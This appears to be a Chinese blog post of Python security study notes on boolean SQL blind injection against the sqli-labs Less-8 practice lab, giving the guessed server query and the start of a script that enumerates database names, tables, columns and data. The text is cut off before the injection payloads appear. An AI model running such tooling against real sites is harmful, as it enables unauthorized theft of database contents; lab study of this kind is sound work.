python安全攻防第五章漏洞检测与防御2

最新推荐文章于 2021-04-21 18:58:25 发布

kongytr

最新推荐文章于 2021-04-21 18:58:25 发布

阅读量165

点赞数

分类专栏： python安全学习

本文链接：https://blog.csdn.net/qq_34640691/article/details/109164081

版权

本文探讨了Python安全攻防中的一种常见威胁——SQL盲注。通过示例URL <http://192.168.0.128/sqli/Less-8/?id=1>，解释了如何根据页面反馈判断SQL盲注是否成功，推测服务器端可能的SQL语句。

摘要由CSDN通过智能技术生成

sql盲注脚本

url:http://192.168.0.128/sqli/Less-8/?id=1
此关是关于sql盲注，如果盲注正确页面则会显示 You are in …，如果盲注错误，则不会显示
由此可以猜测服务器端的sql语句为：

select * from users where id = '$id' limt 0,1;
limit对显示长度作出了限制

#!/usr/bin/python3
# -*- coding: utf-8 -*-


import requests
import optparse

# 存放数据库名变量
DBName = ""
# 存放数据库表变量
DBTables = []
# 存放数据库字段变量
DBColumns = []
# 存放数据字典变量,键为字段名，值为字段数据列表
DBData = {
   }
# 若页面返回真，则会出现You are in...........
flag = "You are in..........."

# 设置重连次数以及将连接改为短连接
# 防止因为HTTP连接数过多导致的 Max retries exceeded with url
requests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False


# 盲注主函数
def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url, DBName)
    print("[+]数据库{0}的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1) + ")" + DBTables[item])
    tableIndex = int(input("[*]请输入要查看表的序号:")) - 1
    GetDBColumns(url, DBName, DBTables[tableIndex])
    while True:
        print("[+]数据表{0}的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*]请输入要查看字段的序号(输入0退出):")) - 1
        if (columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])


# 获取数据库名函数
def GetDBName(url